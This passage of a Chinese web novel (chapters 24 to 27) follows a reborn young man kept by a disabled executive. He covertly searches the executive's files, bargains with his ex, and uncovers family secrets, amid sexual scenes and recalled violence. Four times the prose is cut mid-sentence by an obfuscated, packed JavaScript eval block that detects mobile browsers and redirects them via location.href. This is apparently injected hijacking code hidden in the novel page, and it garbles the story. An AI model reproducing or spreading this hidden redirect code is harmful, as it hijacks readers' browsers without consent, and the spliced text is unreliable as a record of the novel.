他捏紧了手指,面上不显,嘴里说着胡话:“我和霍阳是初中同学,要有矛盾也是小时候不懂事闹着玩的,现在大家都是成年人了,哪还会记得以前的事?” 却见孙文轻啧一声,蹙起了眉,看着似乎不是很高兴的样子。 江安见状心也不由得沉了下来。 他想到电梯口衣衫不整的霍阳,想到霍阳因为自己的一句话破防,再看看孙文现在的表现……一切似乎都串了起来。 就在江安胡思乱想的时候,办公室的隔间突然被人推开。 周齐一边整理着袖扣,一边没好气地道:“别没事就吓唬我家小朋友,看来真应该给你嘴上装把锁。” 江安还没反应过来,有些懵地眨眨眼睛,却见孙文突然哈哈大笑,倒是把他吓了一跳。 “好啊你周齐,现在有了小朋友,就不要我这个老朋友了?”孙文一改刚刚的深沉,满脸的委屈,“我这不是看你家小朋友太可爱了,想逗他玩玩嘛,怎么,这就心疼了?” 周齐一脸的轻蔑,操控着轮椅来到江安身边,握住他的手,阴阳怪气地嘲讽起来:“也不知道刚刚我是因为谁,才被泼了一身咖啡。” 24. 第 24 章 周齐很少在外人面前和江安表现得太过亲近。但如果江安主动,他也不会吝啬配合。 周齐和孙文谈着事,江安牵着周齐的手,小拇指轻轻勾着他手心,有点痒,弄得周齐不自觉地往后缩了缩,却又被江安牢牢抓住。江安就这样乐此不疲地玩着这个小游戏,玩得开心了,还会抿唇一笑,带着羞涩,带着依恋,全然一副陷入恋爱中的样子。 这些小动作全都被孙文收进眼底。 孙文是来找周齐谈生意的,不是来吃狗粮的,现在生意也谈差不多了,愤愤打了声招呼,站起来就要走。 周齐好笑地看了江安一眼,甚至还饶有兴致地摸了摸他的下巴,也不拦孙文:“下周二的开标会是早上九点,记清楚了,别再迟到。” 孙文只觉得辣眼睛,冷哼一声,摆了摆手,头也不回地走了。 直到这时,江安才终于开口问道:“刚刚您说的,被泼了一身咖啡是怎么回事?” 而且是“为了”孙文,才“被”泼了一身咖啡。这个被泼咖啡的原因,江安很在乎。 周齐身上还有一股淡淡的咖啡味,显然是没来得及洗澡,现在办公室里只有他和江安两个人,他也没必要再端着。眉心微蹙,扯了扯衣领,闭眼靠在椅背上,懒懒地道:“还记得我之前说了什么吗?” 江安想了想,轻声答道:“您说,霍阳是孙总的小情人。” 当然,这点已经被孙文否认了。 周齐解释道:“霍阳是个男女通吃的,前两年孙文和霍刚合作了一个项目,霍阳就一直跟着学习。孙文这个人呢,没事就老喜欢逗别人,也不知道他和霍阳说了什么,霍阳就当真了。” 江安接着他的话道:“所以才会发生……那件事。” 周齐:“再后来霍阳看到孙文就和老鼠见了猫一样,怕得要死。” 所以在孙文推门进来的时候,霍阳才会那样大惊失色,下意识想跑,结果不仅自己摔了一跤,还失手把咖啡泼到了周齐身上。 听完事情的始末后,江安也不免觉得好笑:“原来是这么一回事,怪不得我刚刚见他那么的……”说着他的神色又古怪了起来。 周齐戏谑地补充道:“衣衫凌乱,看着那么狼狈。” 江安顿时噎住。 随即又尴尬地笑了起来:“您都看到了?” 整栋大楼的监控都连着休息室里的那台电脑,周齐那时候在里面换衣服,正好看到了这一幕。 忍着笑点头:“我也知道,你是凭本事上的我的床,一天不上床就浑身难受,是被……”他贴在江安耳边,“草上瘾了。” 周齐每说一句,江安的脸就要红上一分,等周齐最后一句说完,整张脸都红透了,就连耳尖都红得像是在滴血,臊得不行。 他直接扑到周齐身上,双手环腰,将脸埋在他怀里。 声音颤抖:“您别说了别说了……” 周齐却不肯放过他:“我还知道,你喜欢和我上床……” 江安被说得简直是脚趾扣抵,抬头看着周齐,睛都羞红了:“求求您,别说了……” 这样的江安看起来太过可口,周齐舔舔唇,薄唇轻启:“还喜欢……狐假虎威。” 话音刚落,便被堵住了嘴。 余下的,只有黏腻湿滑的水声。 …… 江安洗完澡,看着已经在床上沉沉睡去的周齐,披了件衣服,走出房门。 他从口袋里摸了根烟出来,用牙咬着,一边将窗户推开,一边将香烟点燃。 熟悉的香烟味瞬间攫取了他所有感官,他深吸了一口气,闭上眼,享受着这种沉醉的感觉。 这是他重生以来第一次抽烟,本以为这具从来没抽过烟的身体会不习惯,却没想到,刚抽上一口,来自灵魂深处的满足感便瞬间占据了所有。 他喜欢尼古丁。 这里是整座城市最高的建筑,往下俯瞰,所有的灯红酒绿尽收眼底。在这里,他似乎就是这个世界的主宰,挥挥手,便能决定所有人的命运。 江安不止一次地想过,每次周齐站在这里的时候在想什么。是将一切都操控在手里的满足感,还是高处不胜寒的孤独感? 他抽完最后一口烟,将烟头捻灭,扔到窗外。 窗户被重新关上,呼啸着的风声也被阻拦在外面。 周齐还没醒,江安看了眼时间,现在是七点,准备等七点半的时候再去喊周齐起来吃饭。 上辈子江安有几乎一半的时间都在这里度过。公司里的每个角落他都走过无数遍,摄像头在什么位置他也一清二楚。 回到休息室,将外间办公室里的摄像头一一找到关闭,在确认无误后,才又走了出去。 他在办公桌前坐下,指尖轻点着桌面,略作思考后将右手边柜子的第三个抽屉打开。里面放着很多分合同文件,江安在里面找到自己想要的那份,一字一句地看着,还不忘用手机拍下来。 做完这一切后他又把电脑打开,周齐会用的那几个密码他早就熟记于心,没费什么工夫就进去了。在硬盘里找到一个带锁的文件夹,又试了几次密码后打开,和想象中的不一样,竟然是一段音频。 看了眼微掩着的房门,江安戴上了耳机。 “小安,你和我小叔叔……到底是怎么一回事?你是真的,想……和他在一起吗?” “我小叔叔… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861123|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …就是,周齐。” “啊,就是那个断了腿的废物啊。” “……这种又老又残的男人我怎么可能看得上?你可别信外面说的那些话,都是骗人的,我跟他半点关系都没有,更不可能和他在一起的。” “其实小叔叔他……人挺好的,而且也很有能力,腿也是因为以前出了车祸才这样的,要是你——” “……” “你放心,我只喜欢你一个人,不会喜欢那个废物的。” 江安瞬间愣住。 这是周文煊来找他那次,他和周文煊的聊天内容,没想到竟然一字不落地被记录了下来,甚至还被放在了这么一个隐秘的文件夹里。 江安突然就想笑,原来周齐,竟然那么早就知道他和周文煊的那点破事了吗? * 周末的时候,周齐在公司准备下周二的开标会,江安就躺家里打游戏。 一把游戏结束,刚准备开第二把,周文煊突然给他打了通电话。虽然联系方式删了,但他对这个号码太过熟悉,就算过了这么多年,只一眼就认出来了。 周文煊约江安去他们家楼下的一家咖啡厅。以前江安常带他去,算是两人的约会场所。 推门进去的时候,江安下意识地往角落里看,毫不意外地看到了周文煊。 他还是坐在以前他们习惯的那个位置上,穿着身米白色大衣,也不知在想些什么,怔怔地看向窗外。 前台小哥看到江安还跟他打了声招呼,揶揄地道:“约会又迟到了。” “分手了。”江安对他笑笑,没理会小哥的惊愕,转身向周文煊走去。 周文煊看起来比上次见面要憔悴很多,整个人看起来都瘦了一圈,眼下还有些淡淡的青黑,像是没睡好,倒是让他多了一分忧郁,好像更吸引人了。见到江安的时候周文煊眼睛一亮,下意识就想去牵他手,动作到一半,又顿住,若无其事地收回手,垂眸浅笑:“小……江安,你来了。” 江安没跟他寒暄,直接开门见山:“合同呢?” 听江安这么说,周文煊脸上的笑瞬间挂不住了,他努力扯了扯嘴角,最后还是选择放弃,将档案袋放到桌上,面无表情地道:“这是我上次去公司里看到的,周齐正好不在,我就偷偷拍了下来。” 江安伸手去拿,周文煊却又把东西收了回去。他挑眉看去。 周文煊:“江安,东西可以给你,但是你也要答应我一件事。” 他就知道周文煊肯定不会做亏本买卖:“什么事?” 周文煊舔了舔唇,捏着档案袋的手微微用力,眼底是毫不掩饰的野心和欲望:“江北园区的那个项目,我想参与。” 25. 第 25 章 江安笑了一下,向后靠在椅背上,无辜地挑挑眉:“你大概是想多了,说白了,我也只是周齐包养的一只金丝雀而已,怎么可能左右他的想法呢?” 周文煊显然没想到江安会这样直白地拒绝自己,脸色有些难看,却还是扯出一个笑:“江安,你不用骗我,现在外面谁不知道周齐对你的重视?他甚至都能让你直接出入自己的办公室,就连我爸想见他都不能直接过去。” 外面已经传成这样了吗?江安有些意外。 不过周文煊这番话倒是让他想起来一件事,上辈子他带着目的接近周齐的时候,周齐似乎也是直接给了他进出办公室的权限。这实在不像周齐的风格,他那种人怎么会轻易相信一个带着目的到他身边的人。 沉吟片刻,一本正经地对周文煊道:“有没有一种可能……” 周文煊屏住了呼吸,紧张地盯着江安。 “周齐给我权限,是为了方便我随时去伺候他呢?” 话音刚落,周文煊脸色唰一下就黑了下来。他看起来很生气,胸膛急速起伏,捏着档案袋的手背青筋暴起,紧抿着唇,竟是气得一句话都说不出来。 周文煊鲜少有这种控制不住情绪的时候,江安没忍住哈哈大笑,却见周文煊脸更黑了,又轻咳一声,收敛了笑意,点点桌子,说起了正事:“这份合同我也不是不可以直接找周齐要,但想要参与项目,你付出的,似乎有点少了。” 只要江安松口就还有的谈。周文煊闭了闭眼,沉声问道:“你还想要什么?” 江安摸了摸下巴,笑道:“或许,你可以帮我做一件事。” …… 谈话的过程还算顺利,江安拿到资料,周文煊也得到了自己想要的。虽然江安最后提出的那个条件对周文煊来说有些困难,但有上辈子记忆的江安知道,周文煊一定会办成。 临走的时候,周文煊还是没忍住,开口问道:“江安,我们真的,不可能了吗?” 江安没有直接回答,只是对他笑了笑,便转身离开了。 周文煊猛地站了起来,在身后喊:“江安!” 江安回头看他。 周文煊的神色有些复杂:“嘉茂那边下雪了,我记得你以前说过,很想看一看北方的雪。有空的话……可以去看看。” 江安愣了一下,笑道:“好,我知道了。” * 回去的路上江安突然感觉有些迷茫。 怎么一个两个都让他去嘉茂? 嘉茂,一个北方城市,全年几乎有一半的时间都在下雪,天寒地冻,地广人稀,就连旅游也很少会有人选在那。这个地方和周齐有什么关系吗?可上次他提起这个地方的时候,周齐看起来并没有什么异常。 江安知道,周齐确实在嘉茂开了个分公司,也确实每年都会抽时间去一趟。只不过他每次去的时间都不固定,跨度甚至会相差很大,所以江安从来没怀疑过什么。再加上他并没有窥探别人秘密的癖好,也就一直没去关注。 他又打了个电话给江覃。 电话接通,不等江覃说话,他就直接问道:“你上次为什么会跟我提嘉茂这个地方?” 那边愣了一下,再说起这个事来却是支支吾吾的:“就,就之前听人说了一嘴,感觉不太对劲……你怎么又突然问起这个?”说着又突然激动了起来:“江安你要知道,一个人如果每年都会去同一个地方,那这个地方肯定有问题,我跟你说周齐他——” 江安直接打断他:“你听谁说的?” 江覃:“那我哪记得了,就正好听到了呗!江安我你听——” 不等江覃说完他就把电话挂了。他刻意等了会,发现江覃被挂电话竟然没有重新打给他。 很明显,江覃有事情瞒着他。 还有周文煊。周文煊和周齐说是叔侄,但实际上两人关系并不亲近,周文煊很怕周齐,但同时他也非常想取代他,在周文煊的卧房里,甚至有一整面的书柜,上面都是和周齐有关的资料。如果说他知道一些周齐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14861124|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘密,也确实不是没有可能。 如果说江安之前并不是真的想去,那么现在,他就一定过去了。他想看看这里到底藏了什么秘密。 江安越想心越乱,眉心更是隐隐作痛,一跳一跳地刺激着他的神经。他蹲在路边,用力捶打着自己的脑门,好像只有这样才能舒服一点。 就在这时,手机响了。 有时候麻烦的事就是会一起找上门来。 打电话的是江博瀚,一个被江安刻意遗忘的名字。 许久没有和江博瀚说话,再说起话来,他发现江博瀚还是依旧的独断专行:“下个月八号,我会在天利办酒席,你记得过来。” 说罢也不等江安说话,便直接挂断了。 江安看着漆黑的手机屏幕,突然笑了起来。他的笑声越来越大,笑得浑身颤抖,最后突然站起来将手机狠狠砸向地面,四分五裂。 不少路过的人都离他远远的,怕他突然跳起来打人。 酒席?江博瀚能办什么酒席?除了结婚酒席,他还能办什么酒席! 江覃前脚刚跟他说江博瀚要结婚,后脚江博瀚就连婚期都定下来了,真是可笑。 看着地上的手机残骸,江安烦躁地从口袋里摸了根烟出来,可一连抽了好几根,都没有缓解那种烦躁的情绪。 上辈子的这个时候,他一直围着周文煊打转,先是和江博瀚闹翻,再到后面被赶出家门。虽然他没再回去过,但据他所知,江博瀚没有再结婚,身边也没有出现什么女人。 那么现在这个女人又是从什么地方冒出来的? 难道这一切,都是因为他的重生? 抽了一半的烟被扔到地上,又被踩灭。江安将档案袋里的文件拿出来,一张张看完,最后用打火机点燃。 他站在路边,看着这些文件在火光中收缩扭曲,垂死挣扎,最后还是被烧成了一堆黑灰色的粉末,随风飘散。 重来一次,他发现有些事情,似乎和他曾经以为的,不太一样。 26. 第 26 章 这两天江安总是心不在焉,想着最近发生的事情。好在周齐也忙着开标会的事情,倒是不怎么在家,也就没察觉到。 那天晚上他在周齐办公室里找到的那份合同,其实就是周齐和江博瀚签的,说直白点,也就是江安的卖身契。上辈子江安是直接跑路了,也就没有被周齐包养,所以也是直到那天晚上,他才知道,自己竟然被江博瀚以一个天文数字卖给了周齐。 江安从来想不到自己竟然这么值钱。 他惊讶于周齐的大方,也恨江博瀚的见钱眼开。 不过相比于江博瀚的事,现在更让他在意的,是嘉茂这个地方。 他想约江覃出来聊聊,江覃起先还不太愿意,一直顾左右而言他。于是江安威胁他:“你要是不出来,我就立马把自己弄到医院,然后和周齐说,我是因为你才进来的。” 江覃骂他是神经病,说他狗仗人势。江安全盘接受,甚至还“汪”了一声,把江覃给气得眼睛直翻,差点厥过去。 “江安你他妈的就是个神经病!” 江安承认,笑嘻嘻地补充:“麻雀都飞上枝头了,怎么着也要感受一下当凤凰的快乐。” 江覃说:“麻雀就是麻雀,永远变不成凤凰,等你掉下来的时候就知道摔得有多惨。” 最后江覃还是出来了。 他们约在周齐家小区门口的一家奶茶店。价格很贵,平时都没什么人过来,店员也只有两个,都趴在那玩手机。 江安点了两杯奶茶和两份草莓蛋糕,掏出银行卡的时候江覃凑过来瞅了眼,阴阳怪气地道:“呦,喝杯奶茶还要刷卡,真牛啊。” 江安不理他,他总不能说自己全身上下现在就只剩下这张卡里有钱。偏偏还是周齐的身份证,绑不了自己的支付软件。 江覃又嗤道:“多大人了还吃草莓蛋糕,幼稚。” 江安转头和店员说:“不好意思,另一份草莓蛋糕不要了。” 江覃:“……” 最后江安还是买了两份蛋糕。 两人来到角落的位置坐下,江安没先说嘉茂的事,而是问江覃:“你知道江博瀚和周齐签的合同吗?” “合同?”江覃蹙眉,显然不知道这件事。 江安吸了口奶茶,一边嚼着珍珠,一边漫不经心地搅弄着杯子里的奶茶:“嗯,城西那片的别墅区知道吧?” 江覃点头:“知道,一栋别墅要七八千万,把我卖了都买不起。”顿了下,神情古怪地问道:“你说这个干嘛?周齐要送你别墅?” 江安笑笑,没有回答,伸手对他比了个“五”。 “啊?”江覃更懵了,“他要送你五套?” 江安都快被江覃逗笑了,咽下嘴里的珍珠,又吃了口蛋糕,幸福地眯起了眼睛:“五套别墅,换一个我。”见江覃似乎还没想明白,又比了个“五”,然后指着自己:“江博瀚和周齐的合同内容。” 这下江覃是终于明白了,猛地一拍桌子,瞪大了眼睛:“他用五套别墅把你卖给周齐?!!” 江安笑着点头。 趁着江覃还在震惊中没缓过神来,江安突然问道:“嘉茂是什么特殊的地方吗?” 江覃还没回过神来,想都没想就开口道:“哦,就你以前被拐过去的那里。” 刚说完,江覃就瞪大了眼睛,连忙捂住嘴,神色惊恐,眼中满是悔意。 江安放下叉子,用纸巾擦了擦嘴,对他笑道:“哦,我怎么不记得了?” * 自从江安习惯性地出入周齐公司后,路上遇到认识他的员工,都会停下来对江安问一声好。 “江少早。” 江安不着痕迹地看了眼时间,现在已经快中午了,却还是笑眯眯地回了句:“早上好。” 随着楼层越来越高,电梯里的人也越来越少。当最后一个人出去后,江安也是松了口气,感觉脸都要笑酸了。 “电视剧里霸总不都应该有自己的专属电梯吗?而且大早上的坐着个轮椅和打工人挤电梯,也太难受了。”江安一边揉着嘴角,一边忍不住抱怨。 周宽在旁边面无表情地道:“你这个提议我会告诉周总。” 江安笑容僵在脸上,认真地看向周宽:“宽哥,你变坏了。” “叮”的一声,电梯停在56楼。 周宽率先走出去,一副公事公办的态度:“我认为这是一个相当不错的提议,我会一字不落地告诉周总,相信周总也会认真考虑的。” “别啊!”江安哭笑不得地跟上去,“我就随口说说,你别当真啊,要周总知道我背后这样吐槽他,一定会不高兴的。” 明早就是开标会了,届时会有超过上百家公司参与,虽然周齐的把握很大,但如果东西做不好,别人凭什么让你做这个项目。 江安到的时候周齐正在和孙文讨论明天开标会的事。 看到江安过来,周齐对他道:“你先去里面坐一会,我这边马上结束。” 江安乖巧地应了一声,往书柜后的休息间走去。 他听到孙文说:“行啊你周齐,大白天的需求也这么大。” 他把房门关上,后面的声音也被隔绝在门外。他背靠着门轻笑,心想需求大的可不是周齐。 上辈子他刚和周齐上过床那会儿,几乎每天都想着那档子事。 周齐要来公司,他就厚着脸皮跟过来,周齐在外面忙工作,他就躺在休息间里玩手机,等周齐忙完了,他就急吼吼地跑出去。有时候是在办公桌上,有时候是在沙发上,有时候会在茶几上……但他最喜欢的还是抱着周齐把他压在那面巨大的落地窗前,裸露的后背紧贴着冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14861125|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的玻璃,那时候的周齐就会变得特别脆弱,也特别听话…… 周齐办公室和休息间的电脑密码,也是他在那种时候,半哄半骗哄着周齐说出来的。他当时还觉得周齐也太容易相信别人了,这么重要的东西竟然会随便告诉别人。 可直到他被周齐赶出家门,被他打断双腿,他才知道,这些东西其实都是些无关紧要的。真正重要的,从来都不在那些地方。 也许是中午的阳光太过温暖,江安在床上躺着躺着,就睡着了。 等周齐忙完进来,就看到江安像只猫似的,蜷缩在床角,睡得正香。阳光透过窗玻璃肆意倾洒在他身上,像是给他镀上了一层金光,就连睫毛都被晒成了好看的棕咖色。空气中飘浮着的细小尘埃,在阳光的照射下无所遁形,温柔,又宁静。 周齐顿在原地,就这样看了好久,直到江安因为不舒服的睡姿难受地哼出了声,才回过神来。 他来到床边,轻抚着江安的侧脸,温声道:“起床了。” 江安显然还没睡够,一把将他的手挥开,翻了个身,把脑袋藏进臂弯。 周齐笑了,俯下身捏着他的鼻子,又喊了一遍:“快起床,去吃午饭了。” 竞标的材料已经在昨天就准备完了,江安这两天情绪不太对,他特意留了半天时间,想好好陪陪江安。 江安终于被弄醒了,一口咬住他的指尖,声音含糊地道:“不想起。” 周齐笑他:“懒猫。” “你才是懒猫。”江安不满地睁开眼,额前的碎发被睡得凌乱,眼眶微红,一副勾人的样子。他含住周齐的指尖,舌尖清扫着,间或发出暧昧的水声。 周齐深吸了口气,眸色深沉地看着他,“江安,该吃饭了。” 江安轻笑一声,却变本加厉地含吮起来,眉宇间极尽挑逗,声音也刻意压低了一个度:“这都几点了,周总还吃什么饭啊?” 他从指尖吻到手背,上前抱在周齐腰间,吻也随之一路往上,然后一口含住喉间那微微凸起的地方,用齿尖轻剐着:“周总……是我,不好吃吗?” 却被周齐捏着鼻子推开,无情地道:“如果不想去医院的话,就先吃饭。” 此话一出,江安不由得露出痛苦的神情,暧昧的氛围瞬间消散。当初肠胃炎痛到住院的记忆再一次被翻了出来,他捂着肚子,莫名觉得这里似乎又隐隐作痛了起来。 他不甘心地挣扎:“其实偶尔少吃一顿也没关系。” 周齐:“或许我现在就可以带你去医院看看。” 江安闭上眼,仰头长啸。 再一次睁开眼的时候里面有气愤和妥协:“不行,你得补偿我!” 周齐向后靠着,好笑地问:“要什么补偿?” 江安鼓着张脸,怒目圆瞪:“陪我去嘉茂滑雪!” 27. 第 27 章 “嘉茂?”没想到江安又提起这个地方,周齐有些惊讶,随即又问道,“怎么又突然想去滑雪了?” 江安嘴巴一撇,就往周齐怀里扎,“我不管,我就要去滑雪。” 周齐看着自己的腿,无奈扶额:“可是我这样……也没法陪你滑雪啊。” 说起这个,江安又立马精神了起来,一双大眼睛直勾勾地盯着周齐,里面满是期待:“我查过了,有一种坐着滑雪的东西,叫什么,坐式滑雪!看起来还挺好玩的!” 周齐摇摇头,好笑地看着江安:“是又刷到什么视频了?” 江安把手机掏出来,找到之前收藏的视频给他看:“你看,这里的雪好厚,看起来好好玩,好多博主都去那边拍视频呢。” 现在是流量时代,不少人都为了流量去一些很少有人去的地方拍视频,如果其中一条火了,就会有数不尽的流量。这些流量都可以变现,给他们带来可观的收入。 周齐看完视频,沉吟片刻,又对他道:“这里应该是卜崂山,离市中心很远,虽然雪景很好,但是去那里的人很少,容易有危险。” 但江安并不在乎,又找了好几个视频给周齐看:“没关系没关系,你看这么多博主都去了也没出什么问题。你看这个叫大白的博主,他粉丝可多了,这条视频这么火,肯定会有很多人跟风去的到时候那边也会热闹起来。”说着他又眯起眼睛,揶揄道:“难不成周总您保护不了我吗?” “当然不是。”周齐无奈。 江安抱着他,往他怀里拱,头发都被拱乱了:“去嘛去嘛,反正你都答应我去嘉茂过年了,就顺便去滑个雪呗。” 周齐被他弄得痒,笑着往后躲,“好好好,你要是想去,我们去就是了。”好不容易等江安不闹了,他咳嗽一声,又道:“不过你得答应我,一定要把安全放在第一位。” 这点江安也明白,自是答应:“好,那就一言为定。” 周齐没说话,笑着摸了摸他的头发。 * 开标会结束的第二个星期,政府官网公布了结果,项目毫无意外地被周齐拿下。为了做好这个项目,公司成立了专门的项目小组,所有人都可以报名参加。当然,想要进入小组,也是需要进行专项考核的。 这种政府部门的大项目,很多人一辈子都不一定能遇到一次,能够参与其中,不仅能学习到很多东西,更重要的是能够在自己的人生履历上添上一笔。选拔考核会放在年后,年前的这段时间就是留给大家准备的,为着这件事,公司上上下下也是忙得热火朝天,学习氛围空前浓厚。 值得一提的是,在这种关键时刻,公司要来一个新人 据说是老板的亲戚,大学还没毕业,来公司实习的。 “一个还没毕业的学生,什么都不会,能有什么用啊?还不是过来镀金的。” 流言也不知道是什么时候传开的,现在不止一个人这样说,最少也有一大半的人心里是这么想的,只是不敢在明面上讨论,只敢偷偷在背后说上两句。 这些话江安这几天已经听到很多遍了,也有人想和他打听消息,但江安总是会装作自己什么都不知道的样子。事实上,要不是重活一世,他确实也什么都不知道,周齐从来不和他说公司上的事。 “别问了,我也不清楚,小心被周总知道。”他对一个偷偷向他打听消息的人说道。 那人见江安什么都不肯说,有些不满,但碍于江安和周齐的关系还是觍着脸说好,心下却十分瞧不起江安这种金丝雀。 可江安刚走没多远,就听到那人在背后小声抱怨:“不就是一个靠卖身上位的婊子,嘚瑟什么嘚瑟。” 江安挑挑眉,突然大声说道:“我不知道自己得不嘚瑟,但是我知道,与其天天在背后说别人坏话,不如努力提升自己,省得什么时候被人取代了。” 那人怔在原地,显然没想到江安耳朵这么好。 见状江安也是没说什么,嗤笑一声,扭头直接出了公司大楼。 其实这个人江安有点印象,上辈子周文煊刚来公司上班那会,他就仗着自己主管的身份,总是针对周文煊,处处给他穿小鞋。周文煊没有向周齐告状,反而奋发图强,认真工作,一天能有十几个小时在公司,后来更是找到那人欺压手下员工,冒用其他员工设计图纸的证据,不仅将他赶出公司,还一纸诉状把他告上法庭。 江安挺佩服周文煊的,如果换作是他,那他估计当场就会和这种人吵起来,哪会有这么多的弯弯绕绕。周齐就总说江安做人一点也不圆滑,特别容易吃亏,江安就反驳,说反正周齐会护着自己,他还需要那么圆滑做什么。 当时周齐真的是一副又无奈又好笑的样子,却还是对他说,自己会好好护着他。 可护着的结果就是把他的腿给打断了。 想到这江安就难过。 也不知道是不是白天的时候想事情想多了,最近他夜里总是做梦,梦到周齐,梦到周文煊,梦到以前的那些事。醒来的时候满身困倦,明明已经睡了很长时间,却还是困得不行,头昏脑涨,就连眼睛都睁不开。 江安也不知道为什么,明明上辈子的事情那么多,让人开心的事情也那么多,自己梦到最多的,却是自己被周齐打断腿的那天。 那时正好是深秋,地上落满了梧桐树的叶子,踩在上面嘎吱作响。他每天都会和周齐从这条林荫道里穿过,却没想到,自己有一天会浑身冰冷地躺在这堆落叶上。 或许是那天的经历太过痛苦,江安只记得散落满地的照片,周齐冷漠如冰的表情,周齐离他远去的背影,还有那些人用力按着自己,却又挣扎不开的绝望和无助。 具体是怎么被打断腿的,又是怎么被扔到外面的,他都记不清了,每次他一去想,脑袋里就会传来针扎般的疼痛,好像老天爷也在可怜他,不想让他回忆起这么痛苦的事情。 他只记得,那是一个下着雨的夜晚,外面雷声隆隆,落下来的雨却细如棉丝,他就像条即将咽气的流浪狗一样,蓬头垢面,拖着这双怪异扭曲的断腿,艰难地在地上爬行。他的指甲盖被掀翻了,手指上全是灰黑色的泥土,混着鲜红的血液,散发出一股死鱼的腥臭。 …… 伴随着“轰隆”一声巨响,天空中突然落下了几滴雨点,不消片刻,大雨倾盆而下。 “又下雨了。” 江安站在菜场门口,看着外面如注的大雨,小腿骨传来丝丝绵绵的疼痛。那种疼痛像是从骨头缝里钻出来的,如附骨之疽般绵绵不绝。 他手上拎着两个大袋子,一个袋子里装的是刚买的新鲜蔬菜,另一个黑色袋子里是两条新鲜的活鱼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14861126|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是察觉到了外面的水汽,弹动两下身子,挣扎着想要从里面跳出来。 今天陆阿姨家里有事,提前请了假,周齐本来说晚上带他出去吃,但江安突然就想自己买点菜回去做。 他想给周齐一个惊喜。因为他有事想要和周齐说。 谁知这突如其来的暴雨把他困在了这里,他没有车,也没有伞,打车软件显示排队一百多位,他混在等雨停的人群里,看着其他人一个个地离开,最后只剩下自己一个人。 寒风裹挟着雨丝,吹在身上,又透过衣服的缝隙钻进去,冻得人浑身冰凉。他又想起这几晚做的梦,想起上辈子自己差点死掉的那个晚上。 他蹲在地上,小腿的疼痛愈发剧烈。 * 周齐到家的时候,没有看到江安。 他换下外套,又在屋子里找了一圈。江安还没回来。 他回到客厅,在手机里找到那个给自己发了好几条短信的陌生号码,犹豫片刻,正准备给对方打过去的时候,门铃突然响了。 他愣了一下,把手机关上,过去开门。 江安是冒雨跑回来的,身上被淋透了,衣服和发梢都在往下滴水,脸色苍白,一双黢黑明亮的眼睛看起来有些涣散,像是被冻傻了。 “还站在这里做什么?快把衣服脱了,去洗澡。”周齐把江安手上的东西放在地上,拉他进来,感觉自己手上握着的是个冰块。 他将暖气开到最大,又去浴室里给江安放水。 “快点,别冻感冒了,我去放水。” 现在已经是十二月了,最近降温降得厉害,这一下雨,就更冷了。 热腾腾的水汽弥漫在浴室里,散发出诱人的暖意。周齐试了下水温,喊江安过来:“先进来吧,水放满还要一会。” 等了会,却没听到声音。 出去看,发现江安呆愣愣地站在客厅没有动作,地上已经积了一小滩水。 “江安。”他有些生气。 这时江安终于有了点反应,冲周齐扯了扯嘴角,然后又呆住了。 周齐这次是真的生气了,直接上前扯起了江安的衣服。 江安乖乖地任由他动作,可湿透了的衣服很难脱,等把江安剥光了,周齐已经热得满头是汗。他卷起袖子,拉着江安往浴室去。 此时热水已经放差不多了,周齐将阀门关上,冷声道:“进去。” 江安眨眨眼,像是终于听明白周齐的话,直接坐了进去。他蜷缩着,环抱着双腿,仰头看着周齐。 周齐心里有气,抓着他的脑袋就往水里按。江安却只是略微挣扎了一下,就闭上眼不动了,好像就算周齐把他溺死在这里他也不会反抗。 “哗啦”一声,江安猛地从水里钻出来,趴在浴缸边上大口喘气。 周齐拿了块干毛巾,给他擦脸。却发现,江安哭了。 江安就这样睁着眼睛看他,泪水从眼眶里滚落,和脸上的水珠混在一块,不论周齐怎么擦,都好像永远也擦不干。 周齐动作顿住,下意识想往后退,却被江安抓住手。刚想开口,就听到江安说了什么。 “你说什么?”他问。 “疼。” “……疼?” “疼。” “哪里疼?” “腿疼。”